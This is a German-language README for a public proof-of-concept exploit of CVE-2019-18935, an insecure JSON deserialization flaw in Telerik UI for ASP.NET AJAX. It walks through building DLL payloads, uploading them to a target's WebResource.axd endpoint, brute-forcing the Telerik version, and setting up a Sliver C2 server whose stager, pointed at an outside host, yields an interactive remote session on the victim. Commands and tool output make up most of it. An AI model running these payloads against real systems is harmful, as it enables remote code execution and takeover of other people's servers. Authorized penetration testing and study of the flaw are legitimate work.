
RCE-Exploit für eine .NET JSON-Deserialisierungsschwachstelle in Telerik UI for ASP.NET AJAX.
Proof-of-Concept-Exploit für eine .NET-JSON-Deserialisierungsschwachstelle in Telerik UI für ASP.NET AJAX, die Remote-Codeausführung ermöglicht.
Telerik UI für ASP.NET AJAX ist eine weit verbreitete Suite von UI-Komponenten für Webanwendungen. Sie deserialisiert JSON-Objekte auf unsichere Weise, was zu beliebiger Remote-Codeausführung auf dem zugrunde liegenden Host der Software führt. Weitere Informationen finden Sie unter:
Sie benötigen Visual Studio und das .NET Framework SDK, um Mixed-Mode-.NET-Assembly-DLL-Payloads mit build-dll.bat zu kompilieren.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Dieser Exploit nutzt die Verschlüsselungslogik von RAU_crypto. Die Klasse RAUCipher in RAU_crypto.py ist von PyCryptodome abhängig, einem Drop-in-Ersatz für das tote PyCrypto-Modul. PyCryptodome und PyCrypto verursachen Probleme, wenn sie in derselben Umgebung installiert sind. Am besten installieren Sie das Modul daher in einer virtuellen Umgebung, wie oben gezeigt.
Weisen Sie Zeile 17 von build-dll.bat auf den Pfad Ihrer Visual Studio-Installation.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Einige Payloads (z.B. reverse-shell.c und sliver-stager.c) erfordern, dass Sie die Felder HOST und PORT auf Ihren C2-Server setzen – stellen Sie sicher, dass Sie das tun!
Verwenden Sie in einer Windows-Umgebung mit installiertem Visual Studio build-dll.bat, um 32- und 64-Bit-Mixed-Mode-Assembly-DLLs zu generieren, die als Payload während der Deserialisierung verwendet werden. Sie können optional eine Ziel-CPU-Architektur als zweites CLI-Argument angeben (z.B. x86).
build-dll.bat sleep.c
Übergeben Sie die oben generierte DLL an CVE-2019-18935.py, das die DLL in ein Verzeichnis auf dem Zielserver hochlädt (vorausgesetzt, der Webserver hat Schreibrechte in diesem Verzeichnis) und die DLL dann über den unsicheren Deserialisierungs-Exploit in die Anwendung lädt.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
Im obigen Beispiel dauerte es mindestens 10 Sekunden, bis die Anwendung antwortete, was darauf hindeutet, dass die DLL-Payload erfolgreich Sleep(10000) aufgerufen hat.
Wie im DerpCon-Vortrag .NET Roulette (39:46) beschrieben, können wir die Telerik UI-Version per Brute-Force ermitteln, indem wir beim Hochladen einer Datei nur die Hauptversion der Telerik.Web.UI-Assembly angeben (d.h. den 2017-Teil der vollständigen Versionszeichenfolge 2017.2.503.40). Diese Technik reduziert den Suchraum im Vergleich zum Brute-Forcen jeder einzelnen Version dieser Software drastisch – und als zusätzlichen Vorteil kann sie sogar Versionen erkennen, die nicht explizit im Release-Verlauf dieser Software aufgeführt sind. Erfahren Sie mehr über .NET-Assembly-Versionierung auf MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
Die benutzerdefinierte Sliver Stager-Payload sliver-stager.c empfängt und führt Sliver-Shellcode (das Stage) vom Sliver-Server (dem Staging-Server) aus, nach dem Metasploit-Staging-Protokoll. Weitere Details zur Funktionsweise finden Sie im Header der Payload-Quelle.
Starten Sie den Sliver-Server. Weitere Informationen zur Server-Einrichtung finden Sie hier.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Öffnen Sie einen C2-Endpunkt (hier verwenden wir einen mTLS-Listener, aber Sie können auch HTTP oder DNS verwenden) auf dem Sliver-Server, erstellen Sie ein Implantat-Profil und erstellen Sie einen Staging-Listener, der mit diesem Profil verknüpft ist. Weitere Informationen zu gestaffelten Payloads finden Sie hier. Beachten Sie, dass wir keinen Sliver-Stager mit generate stager generieren, wie es die Sliver-Dokumentation vorschlägt; wir verwenden stattdessen unseren benutzerdefinierten sliver-stager.c.
⚠️ Warnung: Das Senden eines Stages mit der falschen CPU-Architektur führt zum Absturz des Zielprozesses! Wenn das Ziel beispielsweise eine 32-Bit-Version von Telerik UI ausführt und der Staging-Server ein 64-Bit-Stage an den 32-Bit-Stager sendet, stürzt der Webserver-Prozess ab. Im folgenden Beispiel generieren wir 32-Bit-Shellcode – aber Sie müssen dies mit der CPU-Architektur Ihres Ziels abgleichen, indem Sie das --arch-Flag des new-profile-Befehls verwenden.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Setzen Sie den Host und Port in der Sliver-Stager-Quelle so, dass sie auf den Sliver-Server verweisen (unten ist ein Beispielserver gezeigt).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Kompilieren Sie die Sliver-Stager-Payload und laden Sie die Payload auf das Ziel hoch und laden Sie sie in die Anwendung (alles gemäß den vorhergehenden Abschnitten zur Verwendung in dieser README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
Wenn alles gut geht (haben Sie dieses Ziel troubleshat?), sehen Sie eine Sitzung in Ihrem Sliver-Server-Fenster, mit der Sie mit dem Ziel interagieren können.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller kann nicht mehrere .NET-Assemblys mit demselben Assemblynamen (anders als einem Dateinamen) laden. Sie müssen jedes Mal eine neue kompilieren und hochladen, wenn das Ziel schlafen, zurückrufen usw. soll.Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
@mwulftange entdeckte diese Sicherheitslücke zuerst. @bao7uo schrieb die gesamte Logik zum Brechen der RadAsyncUpload-Verschlüsselung, was es ermöglichte, das Datei-Upload-Konfigurationsobjekt in rauPostData zu manipulieren und anschließend die unsichere Deserialisierung dieses Objekts auszunutzen. @lesnuages schrieb die erste Iteration der Sliver-Stager-Payload.
Dieses Projekt ist unter der Apache License lizenziert.